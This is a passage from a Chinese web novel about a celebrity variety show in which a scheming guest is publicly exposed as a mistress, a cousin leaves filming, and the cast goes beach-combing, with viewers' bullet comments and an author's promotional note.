“叔叔别急啊,”季宁深慢条斯理地说,“我们还在录节目,这要是不小心被网友听见了,恐怕要觉得您心虚,想阻止知雾姐姐调查下去呢。” 江明启想骂人,但顾忌着他们还在录节目,只能憋屈地闭嘴,气得呼吸都重了几分。 季宁深自顾自地继续用那副乖巧晚辈的口吻说道:“江叔叔您别动气,调查组的工作才刚刚开始呢,您可得保重好身体,不然一不小心撅过去,那昧下的黑心钱不是没地方花了吗?” 江明启咬牙:“我行得正坐的直,懒得跟你这种不懂事的晚辈计较!”说完,“啪”的一声挂断了电话。 季宁深将手机递还给江知雾,微微颔首:“抱歉,知雾姐姐,我跟江叔叔一见如故,没忍住就用你手机聊了几句。” 江知雾看着他,笑了:“没事,你这么关心他,叔叔肯定很感动。” 季宁深眼底也掠过一丝笑意,随即他目光转向不远处被节目组工作人员暂时安置在纸箱里的小奶狗,自然地转移了话题:“要去看看那只小家伙吗?好像洗干净了些,挺可爱的。” 江知雾顺着他的视线望去。 她对毛茸茸的小动物向来没什么抵抗力,方才冷凝的神色缓和下来,点了点头:“好。” 两人并肩走向临时安置小狗的角落。 其他几位嘉宾也正围在那里,你一言我一语,严肃地教育小狗下次不准乱闯马路。 小狗确实被简单清理过了,身上的污垢被擦去,露出原本浅黄色的绒毛,湿漉漉的大眼睛怯生生又好奇地打量着周围的人类,小尾巴不安地在地上扫来扫去。 宿姚正蹲在旁边,试图用一根火腿肠逗它。 见江知雾过来,便笑着抬头:“江姐姐,它好像还有点怕生,不怎么理我……” 话音未落,那只原本缩在纸箱角落的小奶狗,像是感应到了什么,忽然抬起小脑袋,黑亮的鼻子朝江知雾的方向嗅了嗅。 下一秒,在所有人惊讶的目光中,它竟自己扒拉着纸箱边缘,颤巍巍地站了起来。然后一溜烟地蹿出纸箱,目标明确地摇着小尾巴,跌跌撞撞直奔江知雾而去! “诶?!”宿姚举着火腿肠的手僵在半空,哭笑不得,“这小家伙还挺有眼光。” 小奶狗跑到江知雾脚边,一点也不认生地用脑袋蹭她的裤脚,喉咙里发出呜呜的、撒娇般的哼唧声,小尾巴摇得都快出现残影了。 江知雾的心瞬间软成一滩水。 她弯下腰,伸出干净的那只手,轻柔地抚摸着小狗毛茸茸的脑袋和后背。小狗立刻舒服地眯起眼睛,蹭得更起劲了。 “看来它很喜欢你。”季宁深说。 季念念蹲在一旁看了会儿,小眉头微微皱起,突然拽了拽江知雾的衣角,声音软乎乎的带着点撒娇的意味:“江姐姐,念念也想被你摸头。” 江知雾失笑,用那只没碰过小狗的、干净的手,温柔地揉了揉季念念的发顶:“好,摸摸我们可爱的念念。” 小团子立刻满足地眯起眼,笑得甜滋滋的。 站在稍远处的江砚舟看着这一幕,心里莫名有点不是滋味。 本来这档节目烦人的家伙就够多了,现在又来只小狗抢姐姐的注意力。 连念念这个小不点都能被摸头,凭什么他没有? 想到这里,江砚舟突然灵感乍现! 他咕涌咕涌,凑到了江知雾身边,学着季念念的语气,拖长调子撒娇:“姐~我也想被摸头~~” 他脸上努力挤出和季念念同款的乖巧表情,声音掐得嗲嗲的。可配上那一米八几的个子,怎么看都透着股不协调的别扭和……诡异。 江知雾:“……” 她看着大鸟依人的弟弟,内心毫无波动甚至想给对方驱驱邪。 第62章 江砚舟这声嗲得能掐出水的“姐~”一出口,直播间观众不由起了一层鸡皮疙瘩。 【???江砚舟你被什么奇怪的东西附体了吗?】 【一米八几的大帅哥学着人家小姑娘撒娇……这画面太美我不敢看。】 【弟弟啊,你的酷哥人设崩得稀碎。】 【上这档综艺前我一直以为你是冷面阎王,结果原来内核是个逗比。】 …… 江知雾面无表情地看着自家弟弟,在对方期待的视线中,伸手探了探对方的额头温度。 “这也没发烧呀。” 江砚舟:“……” 算了,四舍五入,这怎么不算是摸头呢。 他悻悻地站直身体。 稍晚些时候,节目组安排嘉宾们一起去医院探望那两位受了惊吓的女生。 病房里,两位女生看起来精神好了很多,正靠坐在病床上聊天,看到呼啦啦进来一群人,尤其是走在稍前面的季宁深和江知雾时,眼睛瞬间亮了起来。 短发女生下意识地坐直了身子,声音都有些发紧:“季老师!江姐姐!你们怎么来了?” “过来看看你们,身体没大碍吧?”季宁深温声问。 短发女生激动得有点语无伦次:“医生说了,我们就是点皮外伤和轻微脑震荡,观察一晚没事明天就能出院了。” 江知雾将带来的水果篮放在床头柜上,笑着说:“没事就好,以后开车一定要多注意观察,尤其是路边有小动物的时候,别慌,慢慢减速就好。” “嗯嗯!我们记住了!”两个女生忙不迭点头,脸上带着一股兴奋和羞涩的劲儿。 大家把带来的水果和鲜花放在床头,气氛融洽地聊着天,关心她们的身体状况。 黄芷禾站在稍靠后的位置,脸上挂着得体的微笑,心里却因为极维汽车的事情憋着一股火。 听着江知雾的柔声叮嘱,黄芷禾暗骂了一句“装模作样”,忽然就想给江知雾找点不痛快。 她状似无意地开口:“说起来,这次真是多亏了江姐姐和季老师反应快呢。季老师平时看着挺清冷的,没想到江姐姐一冲上去帮忙,他马上就跟着上去了。” “平时录节目,季老师好像也总是对江姐姐格外特别。” 季宁深冷淡地瞥了她一眼:“看到任何人遭遇车祸,上前帮忙都是最基本的人道主义。” 黄芷禾故作天真地笑了笑:“原来是这样啊,我都差点要误会,季老师是不是对我们江姐姐有点什么别的心思了呢?” 她这话的本意就是挑 拨江知雾和季宁深粉丝的对立,只要引起庞大粉丝群体的反感,也够江知雾喝一壶的了。 一旁的两个女生果然有了反应,原本还带着羞涩的表情瞬间变得激动,身子都往前倾了倾,似乎有话要说。 黄芷禾见状,心中暗喜,以为自己的挑拨起了作用。 她几乎能预见到接下来可能出现的尴尬场面。 然而,下一秒—— 那位短发女生猛地抓住同伴的手臂,声音因兴奋而拔高:“天啊!咱哥哥这是出息了?准备收拾收拾嫁入豪门了吗?!” 她旁边的同伴立刻反手捂住她的嘴,但自己也是一脸激动:“嘘!不敢不敢!江姐姐是属于大家的!季老师想入赘也得先排队拿号好吧。” 季宁深:“……” 谢谢你们两个哦。 相比于黄芷禾僵硬的面色,弹幕上简直欢乐得不行: 【哈哈哈哈拿着爱的号码牌靠边站对吧。】 【神TM高攀了,两位姐妹瞎说什么大实话呢,小心把咱季老师气得胃疼hhhh。】 【只有我觉得黄芷禾刚才那话茶里茶气的吗?幸好两位妹妹和弹幕都是明白人,没被她带歪。】 【每个成功的女人背后都离不开一位贤惠的男人,江姐姐看看我们季哥吧!】 两个粉丝还沉浸在“自家正主成功入赘豪门”的兴奋脑补里,完全没注意到季宁深那无语凝噎、欲言又止的表情。 等稍微冷静下来,两人琢磨了一下黄芷禾的语气,越想越不对劲:“黄老师,你刚才那话是什么意思啊?感觉有点像挑拨离间我们和江姐姐。” 黄芷禾强装无辜道:“妹妹们这话就太冤枉我了,我就是随口感慨一句,怎么会是挑拨呢?” 林屿川冷不丁地开口:“有可能不是想多了。黄老师嫉妒知雾姐姐也不是一天两天,有可能是老毛病又犯了……” 两名女生立刻煞有介事地用力点头: “黄老师,真的没必要!我们季粉大多是理智粉,不会随便被人带节奏。你想靠几句话挑拨粉丝和江姐姐的关系,再引着我们去攻击江姐姐,还是别白费心思了。” “是啊是啊,季老师交什么朋友我们都很支持的!尤其是江姐姐这样人美心善的。挑拨离间对我们没用哈。” 黄芷禾被这接连的直球打得措手不及,弹幕则要笑疯了: 【两个妹妹真是人才!是怎么做到一脸真诚地把人噎死的。】 【粉随正主诚不欺我!季宁深的嘴毒,粉丝的嘴也好不到哪里去。】 【那当然,我们季粉可不是傻子,随便被人当枪使。】 黄芷禾的粉丝坐不住了,纷纷跳出来: 【你们是不是太过分了?禾禾就是随便说句话,至于这么上纲上线吗?】 【芷禾太可怜了,总是被人过度解读,还要被集体围攻。季宁深就不能管管自己的粉丝吗!】 【还有江知雾,每次都置身事外,看着别人替她说话,装什么无辜白莲花啊!】 虽然随着黄芷禾出的各种状况,她的粉丝已经流失了不少,但剩下的这些都是经过提纯的忠实粉丝群体,战斗力仍然不容小觑。 不过这些评论一出来,立刻引来了反驳: 【让季宁深管粉丝?那你们怎么不管管黄芷禾别乱说话?双标玩得挺溜啊!】 【江姐姐从头到尾没说过一句话,是黄芷禾自己总是凑上来找不痛快,被人怼也是自找的,关江姐姐什么事?】 【先撩者见,没发现江姐姐压根懒得搭理你们正主吗。】 这些粉丝被众人怼得节节败退,却反倒生出一股悲壮感,在弹幕里抱团发声,坚称江知雾搞霸凌,带头排挤黄芷禾。 在两位女生真诚且噎人的态度下,终究没能让黄芷禾讨到半点好处。她脸色青白交加,勉强维持着笑容,直到探视时间结束。 一行人辞别两位女生,回到了节目组安排的拍摄地点。 还没走近,就发现情况不对。 原本应该有序工作的拍摄地点外围,竟停了一溜黑色的豪华轿车,气势逼人。而入口处,节目组留守的工作人员正被一群穿着黑色西装、人高马大的保镖模样壮汉隐隐围住,双方似乎在交涉什么,几位工作人员一脸焦头烂额,额头上都冒了汗。 “什么情况?这些人谁啊?”江砚舟率先开口问道。 其中一名被围住的工作人员看到嘉宾们回来,像是看到了救星,又像是更加头痛了。 他艰难地从缝隙中挤出来,快走几步到众人面前,压低声音:“几位老师,你们可算回来了……” “出什么事了?”李乐乐好奇地探头看向那些气场慑人的保镖和豪车,“阵仗这么大?是哪位土豪粉丝吗?” 工作人员表情更加为难了,眼神闪烁地瞥了一眼人群中的黄芷禾,支吾道:“不是粉丝,是一位女士,突然带着人过来,指名道姓要求见咱们的嘉宾。” “见谁?”李乐乐追问。 工作人员咽了口唾沫,艰难地吐出三个字:“……黄老师。” 所有人的目光瞬间聚焦在黄芷禾身上。 黄芷禾心里咯噔一下,猛然升起了一种不妙的预感。 她透过保镖围拢的缝隙,隐约看到了被围在中心的那辆加长轿车旁,站着一个穿着精致套装、气场凌厉的女人身影。 黄芷禾脸色唰地一下变得惨白,下意识就想后退,找个借口立刻离开现场。 然而,她刚挪动脚步,那个被围在中心的女人似乎心有所感,猛地转头,锐利的视线穿透人群,精准地锁定了她。 黄芷禾感觉浑身的血液都僵住了。 江知雾轻声替她念出了对方的名字:“林薇。” 只见林薇冷笑一声,推开试图阻拦的工作人员,踩着高跟鞋,带着一群保镖,气势汹汹地径直朝这边走来。 根本不给黄芷禾任何反应或逃跑的机会,林薇走到她面前,在所有人以及无数直播镜头的注视下,扬手—— “啪!” 一记清脆响亮的耳光,结结实实地扇在了黄芷禾脸上! 力道之大,让黄芷禾整个人都踉跄了一下,脸颊上瞬间浮现出清晰的五指红痕。 全场寂静。 工作人员目瞪口呆,嘉宾们神色各异。 林薇打完,指着狼狈捂脸的黄芷禾,声音冰冷而充满鄙夷: “黄芷禾,你个不要脸的小三!” 直播弹幕齐刷刷飘过一整排问号。 【?卧槽什么情况?!我仿佛闻到了瓜的味道!】 【这档综艺也忒刺激了,隔三岔五来点猛料!!】 第63章 黄芷禾被这突如其来的一巴掌打得耳中嗡嗡作响,脸上火辣辣的疼。 但在无数镜头和众人的注视下,她强压下内心的惊涛骇浪与恐慌,捂着脸,眼眶瞬间就红了,泪水要掉不掉,显得无比委屈又茫然。 “这位女士……您是不是认错人了?”她声音带着哽咽和颤抖,努力维持着镇定,“我根本不认识您,您凭什么上来就打人?” 她的粉丝立刻在弹幕声援: 【这女人是不是有毛病?不分青红皂白就打人。】 【节目组干什么吃的?有人在直播里行凶都不管吗?】 【呵呵,节目组没用也不是一天两天了,不然不会任凭芷禾拍摄期间被孤立。】 【报警!必须报警!不能让芷禾白白受欺负!】 林薇看着黄芷禾这副楚楚可怜的模样,眼中的鄙夷更盛:“真是不到黄河不死心。” 她身后的一名助理模样的男人立刻上前,递过一份打印好的文件。 林薇接过,“啪”地甩在黄芷禾面前。 跟拍大哥很懂观众想看什么,立刻将镜头对准了那些纸页。 只见文件清晰地显示着银行流水明细,户名正是刘世昌,而无数笔不小的支出,最终收款方都明确地指向黄芷禾或其关联账户。 林薇说:“你拿着刘世昌副卡刷了近千万,现在倒跟我装上清纯白莲花了?这些流水记录,每一笔消费的时间、地点都清清楚楚,你要我一条一条念出来,让大家看看你用他的钱买了多少奢侈品吗?” 黄芷禾的脸瞬间白了几分,却依旧不肯松口:“这是我跟刘总之间的商业合作,正常的资金往来,怎么就成你嘴里不干净的钱了?” “商业合作?”林薇像是听到了天大的笑话,笑声尖锐而讽刺,“黄芷禾,你是不是真以为华耀传媒是他刘世昌一手遮天,你们俩干的那些丑事没人知道?” 她上前一步,逼视着黄芷禾:“需要我提醒你,上个月17号下午,你们俩在他的 办公室里干了什么吗?” 黄芷禾慌得不行。 上个月17号下午,她刚好记得很清楚。 因为那是她第一次被刘世昌带到办公室,甚至还差点撞见了上来看望老公的林薇。 她硬着头皮道:“我、我那天一直都在家里陪着我妈妈!她可以作证!” 她心想,母亲一定会帮她圆这个谎。 然而,林薇脸上的冷笑更深了,似乎早就预判到她会这么说。 “哦?和你母亲吃饭?”她慢条斯理地给了助理一个眼神。 助理会意,点开手机,屏幕上立刻出现了一段监控录像。 打扮得体的黄淑兰正与友人谈笑风生地走入艺术展展厅,时间恰好是上个月17号的下午至傍晚。 “可真不巧,”林薇,“你母亲黄淑兰女士那天下午一直在陪同几位夫人观展,有完整的监控记录和入场的实名登记信息为证。需要我现在就联系展会主办方,或者直接请你母亲过来当场对质吗?” 黄芷禾哑口无言,她的大脑一片空白,所有的退路都被林薇死死堵住。 她那些还在弹幕里叫嚣着要报警、要讨公道的粉丝,此刻像是被集体静音。 过了好一会儿,才有零星几条带着崩溃语气的弹幕冒出来: 【不是吧黄芷禾,之前你被曝出排挤婚生子,我觉得你无辜;你弄塌了隧道导致大家受伤,我觉得你情有可原;】 【……我们为你撕对家,为你为你控评反黑,以为你温柔、清纯、善良,结果你去当破坏人家庭的小三?!为什么啊!】 【之前还以为芷禾被所有人孤立霸凌,只有我们粉丝了。哈哈,真好笑,原来她还有刘总和他的副卡。小丑竟是我们自己。】 【大家别太激动,这也不能全怪咱芷禾吧?!换句话说,难道刘世昌就没错了吗?】 【就是,这位大婆光歹着小三出气,怎么不去教训自己男人!】 【楼上脑残吧,刘世昌有过错,知道别人有家庭还插足的小三难不成就没错?两个人都一样见好吗!】 【哈哈哈哈哈哈我疯了!以前那么真情实感帮她说话,现在想想还挺蠢的。】 大多数粉丝都没办法接受这变故,弹幕一时充斥着颓废和自嘲的言论。 “我……我需要静一静……”黄芷禾终于找回了自己的声音,她踉跄着转身,再次选择了逃避。 林薇看着她落荒而逃的背影,没有追上去,只是站在原地,闭了闭眼睛。 方才那股凌厉逼人的气势像是瞬间被抽走了大半,她垂着头,笔直的肩背微微塌陷。 江知雾注意到她的手在发着抖,仿佛冷极了。 她没多想,抬手脱下了自己身上的外套,上前一步,轻轻披在了林薇肩上。 林薇愣了一下,睁开眼看向江知雾,扯了扯嘴角:“谢谢。”顿了顿,她又有些自嘲地补充了一句,“让大家见笑了。” “没什么见笑的。”江知雾说,“遇到这种事,谁都没法做到完全平静。要是觉得累,需要肩膀靠一下吗?” 她没有追问细节,也没有说那些空泛的安慰话,只是轻轻递出了一个可以暂时依靠的支撑。 林薇盯着江知雾平静而温和的眼神,刚才强撑着的那道防线瞬间就崩了。 她再也忍不住,伸手扶着江知雾的手臂,虽然没有哭出声,肩膀却控制不住地颤抖起来。 良久,她才用带着一丝沙哑的声音缓缓开口: “其实……刘世昌以前不是这样的。” 江知雾静静地听着。 “当年刘世昌追我的时候,我家境比他还要好不少。他每天雷打不动地在我公司楼下等,送我喜欢的花,记得我所有的喜好。冬天我说一句手冷,他能揣着热奶茶在风里站一个小时……” “我父母不同意,觉得他心思活络,靠不住。是我,一心一意要嫁给他,觉得有了爱情什么都有了。我动用家里的资源和人脉,帮他一点点把华耀做起来……没想到,到头来……” 林薇的声音断断续续,没说太多细节,却足以让人感受到她心里的落差与痛苦。 曾经有多甜蜜,现在就有多讽刺。 【唉……姐姐好惨……】 【姐姐独美!甩了渣男好好过日子!】 江知雾没有说话,只是任由她扶着,提供了一个安静而稳定的支撑。 她知道,林薇并不是个脆弱的人。 果然,短暂的痛苦过后,林薇再次抬起头时,眼神已经重新变得锐利而坚定。 “不过,现在说这些也没用了。他们俩敢背着我干这种事,就都别想好过。” 她整理了一下江知雾披在她肩上的外套,深深地看了江知雾一眼:“谢谢你的外套。” 说完,她不再看任何人,挺直脊背,在助理和保镖的簇拥下,步伐坚定地走向那排黑色的豪华轿车。 车队在众人的注视下,无声而迅速地驶离。 宿姚看着她离开的背影,感慨了一句:“是个拿得起放得下的人。” 一场闹剧看似落幕,节目组却开始犯愁。 黄芷禾这一跑,显然是没法再继续参与录制了。可她是常驻嘉宾,这一走,节目的人员安排立刻出现了大缺口,她的弟弟江汀接下来该如何安排成了难题。 然而,还没等节目组想出对策,江汀就很干脆地说:“既然她都塌房了,我离开节目组应该不算违约吧?” “不算是不算……”导演试图挽留,“但小汀,你在节目里的观众反响其实意外的不错,挺多观众吃你这种冷淡理工男的反差萌,确定不考虑留下吗?” 江汀脸上是如释重负的轻松:“不了。实验室那边的农学项目正到关键阶段,我急着回去。” 他来参加这个节目,本来就是被江明启和黄芷禾联手逼来的,虽然跟大家相处还算愉快,但他觉得比起拍综艺,自己显然更适合实验室。 导演见他去意已决,知道强留不住,只好点头同意。 事情处理得出奇顺利,江汀转身就回房收拾行李。 江知雾站在不远处,看着江汀打包衣服的侧影,犹豫了片刻。 有些话,她本觉得时机未到,不该这时候来说。 但眼看江汀就要离开,或许很长一段时间都不会再碰面,她最终还是决定要提醒一下对方。 江汀察觉到门口的动静,抬起头,看到是江知雾,手上的动作停了下来。 相较于对待黄芷禾那种毫不掩饰的冷淡,他对江知雾的态度明显温和许多:“有事?” 江知雾走进房间,声音压得很低,确保只有他们两人能听见:“有几句话,我觉得应该让你知道。” “你说。”江汀将行李箱合上,拉直立好,一副认真倾听的姿态。 江知雾斟酌着用词:“你知道我父母当年意外离世的事情吧?” 江汀点头,眼神里多了几分凝重。 那场在江家内部引起过震动的意外,他当然知道。 “我最近查到一些东西,虽然还没有确凿的证据,但所有的线索都指向江明启。”她顿了顿,声音更沉,“我怀疑,你母亲的过早离世,或许也跟他脱不了关系。” 她本以为会看到江汀的震惊、愤怒,或者至少是难以置信。 然而,江汀的反应却出乎她的意料。 他脸上没有任何讶异的表情,声音里是异于常人的平静: “我猜到了。” 这下轮到江知雾愣住了。 “江明启过得太顺了,”江汀冷静地陈述,“他想要集团更多的权柄,于是大伯出了车祸;他和黄淑兰的丑事刚被发现,于是我母亲就突发心脏衰竭离世。” 江知雾沉默片刻。 她看着江汀那张过于平静、甚至显得有些漠然的脸,很难想象他是如何独自消化这些沉重的猜疑,并将它们深埋心底这么多年的。 “我明白了。”她最终只是点了点头,语气郑重,“如果有任何需要我帮忙的地方,随时可以来找我。” 江汀看着她,忽然极轻地笑了一下,那笑容里带着点难以言喻的复杂意味。 “其实,我挺羡慕江砚舟的。”他轻声说。 江知雾没听清:“你说什么?” 江汀却没有重复,只是定定地看着她,问道:“我能叫你一声姐姐吗?” 虽然同姓江,但他们是堂姐弟,并非直系。 从小到大,他们几乎没怎么接触过,更多的是家族场合里疏离的点头之交。 江知雾虽然不理解他的要求,但仍点点头:“当然可以。” 江汀嘴角的弧度更明显了些,认真地叫了一声: “姐姐。” 然后,他顿了顿,接着说:“再见。” 正准备上楼找姐姐,刚巧听到了这句的江砚舟:“????!” 第64章 江汀拉着行李箱,朝门口的江砚舟略一点头,算是告别,便头也不回地离开了。 江砚舟一边告诉自己,江汀跟他们有血缘关系,叫一声姐姐天经地义,一边又不免心里咕嘟咕嘟冒着酸溜溜的气泡。 那感觉微妙又别扭,让他忍不住频频用幽怨的眼神去瞟江知雾。 江知雾被这小眼神盯着,那是又好笑,又无奈,非常想伸手敲敲对方的脑壳。 两人走到楼下,正好目睹江汀坐上了回去的顺风车。 李柏微微叹了口气:“唉,弟弟虽然不大爱说话,但干活可利索了。这么突然就走了,还怪舍不得的呢。” 宿姚摇摇头:“没办法,谁让他姐姐出了那样的事情呢……” 他没有继续说下去,大家也默契地止住了话题。 不过林屿川不混圈,倒是毫无顾忌,直接大剌剌地说:“所以啊,这件事告诉我们不要当小三,当小三没好下场。” 旁边的季宁深本来正专注着给江知雾泡茶,没在意,结果发现林屿川说完后,眼神似有若无地瞟向自己。 他瞬间意识到这些话就是说给自己听的。 季宁深冷笑着怼了回去:“有些人没名没分的,感慨倒是挺多。” 弹幕被他们俩的互动给逗笑了。 【来了来了,他们又开始了。】 【哈哈哈哈哈我一开始还没听出来林屿川在内涵季宁深呢,这节目不是喜剧胜似喜剧。】 【打起来!打起来!给我为爱互扯头花!(兴奋搓手)】 另一边,黄芷禾失魂落魄地逃离拍摄现场,躲进自己的保姆车。 脸上的红肿还未消退,她却无瑕顾及,而是拿出手机,一遍又一遍地拨打刘世昌的电话。 “嘟…嘟…您好,您拨打的电话暂时无人接听……” 一开始是无人接听,打到后面,直接变成了:“您好,您拨打的电话正在通话中……” 她不死心地换了卡号打过去,依旧是同样的结果。 黄芷禾就明白了。 不是没人接,是她已经被拉黑了。 她被刘世昌当成了弃子。 她脑子里一团乱麻,只想扑进母亲怀里痛哭一场,诉说自己遭受的羞辱和委屈。 她用指纹开了锁,跌跌撞撞地冲进客厅,带着哭腔喊道:“妈!我完了……” 话音戛然而止。 客厅里灯光暧昧,音乐舒缓。 她的母亲黄淑兰并未像往常一样穿着家居服,而是身着一件极为显身材的真丝睡裙,正依偎在一个男人的怀里,两人共饮着一杯红酒。 那男人黄芷禾认识,是她父亲江明启最信任的助理,张晟。 听到动静,那对紧贴的身影猛地分开。黄淑兰脸上闪过一丝极快的慌乱,但很快被惯有的冷静覆盖。 她拉好滑落的肩带,蹙眉看向女儿:“芷禾?你怎么突然回来了?不是应该在录节目吗?”语气里甚至还带着一丝被打扰的不悦。 张晟倒是显得镇定许多,他站起身,整理了一下并无可皱的衬衫,甚至对黄芷禾礼貌地点了点头:“芷禾小姐。” 那态度,仿佛他才是这个家的男主人。 黄芷禾的大脑彻底宕机了。 她指着张晟,颤抖着嗓音质问:“妈!你们在干什么?!” 黄淑兰使了个眼色,张晟会意,拿起自己的外套,低声道:“你们聊,我先告辞。” 经过黄芷禾身边时,脚步未停,径直离开了。 门被轻轻关上。 黄淑兰这才走到酒柜旁,又给自己倒了小半杯酒,姿态优雅地抿了一口,仿佛刚才只是进行了一场再寻常不过的会客。 “大惊小怪什么?”她瞥了一眼脸色惨白、摇摇欲坠的女儿,“你不是都看到了?” 黄芷禾语无伦次,巨大的荒谬感和恐惧感攫住了她:“妈!你怎么能做这种事?要是被爸爸知道……” 黄淑兰打断:“你以为没有张晟的帮忙,当年我能那么顺利拿下你爸,挤走原配,坐上江太太的位置?”她理直气壮地对女儿说,“天知地知,你知我知。这么多年了,不也什么事都没有?” 黄芷禾说不出话。 她觉得母亲的话不太对。 当时她也是抱着侥幸的心理,攀上了刘世昌,但最后还是被林薇给知道了。 世上哪有不透风的墙呢? 黄淑兰看着女儿浑身发抖的模样,终究是放缓了语气:“好了好了,看看你,一点小事就吓成这样。” 她走上前,想拍拍黄芷禾的肩,却被黄芷禾下意识地躲开。 黄淑兰的手顿在半空,微微蹙眉,但没再强求, 她转而走到沙发边坐下,翘起腿,恢复了那副贵妇的姿态:“说吧,不在节目组好好待着,这么失魂落魄地跑回来,又是怎么了?” 黄芷禾终于有了倾吐的渠道。 她再也忍不住,带着哭腔将节目里发生的事情断断续续地说了。 “……刘世昌根本不接我电话,林薇也不是好惹的。我在娱乐圈彻底混不下去了!”黄芷禾崩溃地蹲下身,抱住自己,仿佛这样能获取一丝安全感。 黄淑兰听完,表情却没有女儿预想中的震惊或焦急,只是轻轻“啧”了一声,似乎嫌女儿太大惊小怪。 “我当是多大的事。”黄淑兰柔声说,“拉黑就拉黑,反正你本来也就图刘世昌那点资源和快钱。只要你父亲不倒,你就还是富家千金,我还是江太太,照样过人上人的日子。” 若是往常,黄芷禾或许会被母亲这番底气十足的话安抚到。 可最近接二连三的打击,让她前所未有地清醒和悲观。 江明启现在分身乏术,还在应付总部派人下来查极维汽车偷工减料的事情呢。 黄芷禾隐隐有种预感,她们早已置身于一艘看似华丽,但已经从内部开始腐烂的巨轮之上。 而现在,海水正汹涌地灌入每一个裂缝,沉没只是时间问题。 * 黄芷禾的退出并未让节目停摆。短暂的调整后,节目组为了缓和气氛,安排了轻松愉快的赶海活动。 碧海蓝天,潮水刚刚退去,露出大片湿润的沙滩和嶙峋的礁石,藏着无数大海的馈赠。 然而,面对这片泥泞的海滩,嘉宾反应各异。 林屿川看着沾满泥沙的礁石和湿漉漉的海草,小心翼翼地踮着脚,生怕脚下的泥沙弄脏了自己的鞋子,语气里满是嫌弃:“这地方也太脏了吧?到处都是泥,踩进去得多恶心。” 江砚舟难得跟他统一战线,深以为然地点点头。 季宁深却早已换好了节目组准备的胶鞋,裤腿随意地挽起,毫不介意地踩进了湿润的沙滩。 他动作娴熟,目光在 滩涂上仔细搜寻着,没过多久,就弯腰从泥里挖出了一只巴掌大的玩意儿。 那东西在他手中挣扎着,张牙舞爪的模样惹得小念念惊呼出声:“哇!舅舅好厉害!这是什么呀?” 江知雾这时也走到了滩涂边,目光落在季宁深手中。 她虽然没赶过海,但知识储备丰富,一眼就认出了这东西的物种,笑着解释道:“这是青蟹,在滩涂里挺难找的。它很会躲,通常会藏在泥沙底下的洞穴里,想要找到它,不仅得有耐心,还得掌握技巧,得看滩涂上的气泡和痕迹才能判断它的位置。” 季宁深指尖捏着青蟹两侧,避开它挥舞的螯钳,弯腰将其放进江知雾递来的网兜。 继那只威猛的青蟹之后,他又接连从泥泞中精准地捕获了战利品。 蛤蜊、猫眼螺、小跳鱼…… 他的高效率很快带动了其他人。 除了江砚舟和林屿川两个站在外侧旁观的大少爷,李柏、李乐乐、宿姚等人也依次挖出了东西。 而对世界充满好奇的季念念,则时不时眨巴着大眼睛求江知雾科普: “江姐姐,这个蛤蜊为什么有花纹呀?” “海星是星星变的吗?它怎么吃东西呀?” 每一次发问,江知雾都会蹲下身,用清晰的语调给出既准确又易于理解的解答,从贝类的生长纹到海星的捕食方式,再到不同虾类的栖息环境,她似乎无所不知。 弹幕都被折服了: 【江姐姐是什么移动的百科全书?怎么什么都懂!!】 【大家看起来都好开心~就喜欢这种快快乐乐的氛围。】 【季宁深开挂了吧,找海货的速度好快啊!】 林屿川站在滩涂边,有点不甘心当着江知雾的面,就这么被季宁深比下去。 “赶海有什么难的!”他嘀咕一声,终于下定决心,硬着头皮踩进了泥滩。 他也顾不上脏了,学着别人的样子东挖挖西看看。 突然,他脚下一痛,仿佛被什么坚硬的东西狠狠钳了一下! “嗷——!”林屿川猝不及防,痛呼出声,整个人都弹跳了起来。 离他最近的江知雾闻声关切地望过来:“怎么了?” 林屿川倒吸一口冷气,微笑道:“没什么,就是刚才在探索滩涂生态结构时,不慎被底栖生物的附肢结构施加了瞬时性压力,导致局部软组织产生了刺激性反应而已。” 江知雾:“?” “呵。”侧方的季宁深看得分明,冷笑着揭穿,“不就是被螃蟹夹脚了吗?” 林屿川:“!!!” 弹幕:【哈哈哈哈哈哈哈哈哈哈!】—— 作者有话说:===【下一本《反派的早亡亲姐回来了》,求收藏吖~】=== 姜翎死后才知晓,自己不过是一本小说里的早亡工具人。 因她的离世,弟弟姜时礼变得乖戾跋扈,在疯狂追求小白花女主无果后,驱车撞下悬崖丧生。 姜翎直接被气活过来,睁眼就看到姜时礼插兜站在跟前,表情拽得要死。 时隔六年,对方的第一句话是: “谁派你来的?劣质的冒牌货!” 姜翎:“……” 那天,有人看到云城中学凶名在外的校霸姜时礼,被一个小姑娘追着打:“混账!再跟你姐这么说话试试?” * 面对这位登堂入室、自称是他亲姐的女人,姜时礼厌烦,不屑,拼命反抗。 他绝食抗议,姜翎不为所动,并当着他面点了一桌炸鸡烧烤小龙虾,吃得津津有味。 他逃课混进网吧,姜翎坐在他旁边的机位,打得比他还激动。 他把头发染得五颜六色,姜翎淡定举起手机拍摄,把丑陋大头照挂在客厅正中央。 姜时礼屡战屡败,从愤怒到崩溃,不得不接受一个现实—— 这女人,好像真是他亲姐? 念头一起,姜时礼瞬间红了眼眶。 他自认是个克死父母亲姐的灾星,早就该一个人烂在阴沟里。 却没想到,这道以为永远熄灭的光,竟会重新照进他的生命。 * 顾旭白和姜翎曾是同班同学。 上学时期,姜翎就觊觎这位校草的美貌(bushi),花言巧语哄着人跟自己谈起了恋爱。 秋深风凉,庭院沉沉。 姜翎无意间抬眸,看到了一个立在阶下阴影中的男人。 他眉宇间带着清贵的疏离,一身素黑,仿佛是来参加一场肃穆的祭奠。 那双深不见底的目光有如实质,分毫不移地落在姜翎脸上。 姜翎心头一跳。 这位……不就是她当年千方百计哄到手的男友吗? 第65章 林屿川被季宁深毫不留情地戳穿,赶紧干咳一声掩饰尴尬。 他强忍着脚趾的剧痛,眼疾手快地弯腰,一把摁住那只肇事的螃蟹,将它揪了出来,高高举起。 “你懂什么!”他辩解道,“我这叫战术,以身入局钓螃蟹。” 那螃蟹在他手里愤怒地挥舞着钳子,仿佛在抗议他的胡说八道。 站在干燥礁石上的江砚舟嗤笑一声,慢悠悠地评价:“战术是假,嘴硬是真。” 林屿川立刻瞪了过去:“你行你上。” “我上就我上。”江大少爷整理了一下并不需要整理的袖口,语气矜持,“区区赶海,看我轻松拿捏!” 说着便利落地换上胶鞋,深一脚浅一脚地踏进了滩涂。 起初他还有些拘谨,小心翼翼地避开沾着海草的泥坑,可看着季宁深那边又收获了一只肥美的蛤蜊,他也渐渐放开了,蹲下身学着样子在泥沙里翻找。 功夫不负有心人,没过多久,他指尖果然触碰到一处异常滑溜的活物,手感冰凉,挣扎力度不小! “找到了!”江砚舟心头一喜,生怕它跑了,也顾不上什么风度,双手猛地合围,用力一抓! 一条银光闪闪、肥硕有力的海鱼被他成功拽出了水面! 